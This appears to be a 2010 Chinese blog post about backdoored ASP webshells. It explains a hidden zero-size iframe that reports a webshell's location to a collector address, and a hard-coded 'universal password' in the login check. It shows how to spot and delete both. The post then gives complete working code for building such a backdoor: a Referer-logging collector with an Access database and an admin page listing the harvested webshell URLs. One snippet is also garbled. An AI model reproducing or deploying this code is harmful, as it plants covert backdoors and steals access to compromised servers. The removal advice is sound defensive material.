关注网络安全,武汉SEO
发布:si1ence | 分类:网络安全 | 浏览:
16 Apr 2010经过测试发现是在webshell插入
<iframe src=http://127.0.0.1/missend.asp width=0 height=0></iframe>
当别人使用我们的webshell的时候就会暗地的访问我们的这个收信地址
收信文件是
<%
url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("bobo.txt"),8,True)
file.writeline urlfile.close
set file=nothing
set fs=nothing
%>
就是将我们的马的地址保存为 bobo.txt (大概就是这个意思)
是不是可以给WEBSHELL加2个密码!
都可以进去的···
一个是默认密码
一个是后门密码!
解密后先检查有无万能密码,也就是说就算你改了木马的密码,他也能用这个密码来登录
正常的:
EnD fUNCtION
IF SEssIoN("web2a2dmin")<>UsERpaSs thEn
IF requeSt.FoRM("pass")<>"" TheN
iF REquesT.foRM("pass")=uSERPASS Then
SEsSIoN("web2a2dmin")=uSERPAss
rESPOnsE.rEdirEct Url
ELse
rrs"对不起,密码验证失败!"
加有万能密码的:
EnD fUNCtION
IF SEssIoN("web2a2dmin")<>UsERpaSs thEn
IF requeSt.FoRM("pass")<>"" TheN
iF REquesT.foRM("pass")=uSERPASS or request.form("pass")="1111111" Then
SEsSIoN("web2a2dmin")=uSERPAss
rESPOnsE.rEdirEct Url
ELse
rrs"对不起,密码验证失败!"
1111111就是传说中的万能密码了。
找到万能密码代码后把or request.form("pass")="1111111" 删除就好了吧。
下面来找马大多数都喜欢用框架挂马:<iframe src=后门地址 width=0 height=0></iframe>
找到后删了,到此asp后门就算剔除了!
大家后门的原理:
这是一段收信的asp代码将其保存为1.asp
<%url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("bobo.txt"),8,True)
file.writeline url
file.close
set file=nothing
set fs=nothing
%>
代码基本意思就是:“HTTP_REFERER” 链接到当前页面的前一页面的 URL 地址
简单来说就是获得webshell的地址然后记录在bobo.txt这里文本里
上传到空间比如 http://127.0.0.1/1.asp
然后里用
<iframe src=http://127.0.0.1/1.asp width=0 height=0></iframe>
插到asp木马中
那么别人访问这个被挂了马的asp木马就会生成个bobo.txt里面就会有asp大马的路径了
webshell后门所有版
不多说了 自己看代码吧
if url<>"" Then
<%
Dim Conn
Dim ConnStr
Db="info.mdb" '数据库文件位置
On Error Resume Next
Connstr="DBQ="+Server.Mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Conn=Server.Createobject("ADODB.CONNECTION")
Conn.open ConnStr
Set rs = Server.CreateObject("ADODB.Recordset")
If Err Then
'Err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查Conn.asp文件中的数据库参数设置。"
Response.End
End If
url=Request.ServerVariables("HTTP_Referer")
sql = "select * from xxxx"
rs.Open sql, Conn, 1, 3
rs.addnew
rs("url") = url
rs("time") = now()
rs.Update
end if
%>
<%
Dim Conn
Dim ConnStr
Db="info.mdb" '数据库文件位置
On Error Resume Next
Connstr="DBQ="+Server.Mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Conn=Server.Createobject("ADODB.CONNECTION")
Conn.open ConnStr
Set rs = Server.CreateObject("ADODB.Recordset")
If Err Then
'Err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查Conn.asp文件中的数据库参数设置。"
Response.End
End If
Sub AlertAndGoto(strMsg, strUrl)
Response.Write "<script language=""javascript"">" & vbCrLf
Response.Write " alert('" & strMsg & "');" & vbCrLf
Response.Write " window.location.href='" & strUrl & "';" & vbCrLf
Response.Write "</script>" & vbCrLf
Response.end
End Sub
if request("action")="Del" Then
id = clng(Request("id"))
//response.write id:response.end
Conn.execute("DELETE FROM [xxxx] WHERE id="&id)
url=Request.ServerVariables("HTTP_Referer")
AlertAndGoto OpTitle & "漏洞记录成功!", url
end if
%><title>Manage</title>
<style type="text/css">
<!--
.STYLE1 {color: #FF0000}
a:link {
color: #FF0000;
}
-->
</style>
<table width="761" border="1" align="center">
<tr>
<td width="60">id</td>
<td width="438">url</td>
<td width="153">time</td>
<td width="82">Operation</td>
</tr>
<tr>
<%
Dim sql
sql = "select * from xxxx order by ID"
rs.open sql,conn,1,1
If rs.BOF And rs.EOF Then
Response.Write "没有任何记录"
Else
RS.PageSize =10
if request.querystring("pagenum")="" then
pagenum=1
else
pagenum=clng(request.querystring("pagenum"))
end if
RS.absolutepage=pagenum
I = RS.PageSize
Do While Not rs.EOF and I>0
I =I-1
%>
<td><%=rs("id")%></td>
<td><%=Server.HTMLEncode(rs("url"))%></td>
<td><%=rs("time")%></td>
<td align="center"><span class="STYLE1"><a href="read.asp?Action=Del&id=<%=rs("id")%>" onClick="return confirm('确定要删除此记录吗?');">删除</a></span></td>
</tr>
<%
RS.MoveNext
loop
End If
%>
<tr>
<td colspan="4" align="center"><%
response.write"共"&RS.recordcount&"条记录,第"&pagenum&"/"&RS.pagecount&"页 "
if pagenum=1 then
response.write "[上一页]"
else
%>
[<a href=read.asp?pagenum=<%=pagenum-1%>>上一页</a>]
<%
end if
if pagenum=RS.pagecount then
response.write "[下一页]"
else
%>
[<a href=read.asp?pagenum=<%=pagenum+1%>>下一页</a>]
<%
end if
if pagenum>1 then
%>
[<a href=read.asp?pagenum=1>首页</a>]
<%
else
response.write "[首页]"
end if
if pagenum<RS.pagecount then
%>
[<a href=read.asp?pagenum=<%=RS.pagecount%>>尾页</a>]
<%
else
response.write "[尾页]"
end if
%></td>
</tr>
</table>
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
0评论 - webshell插后门问题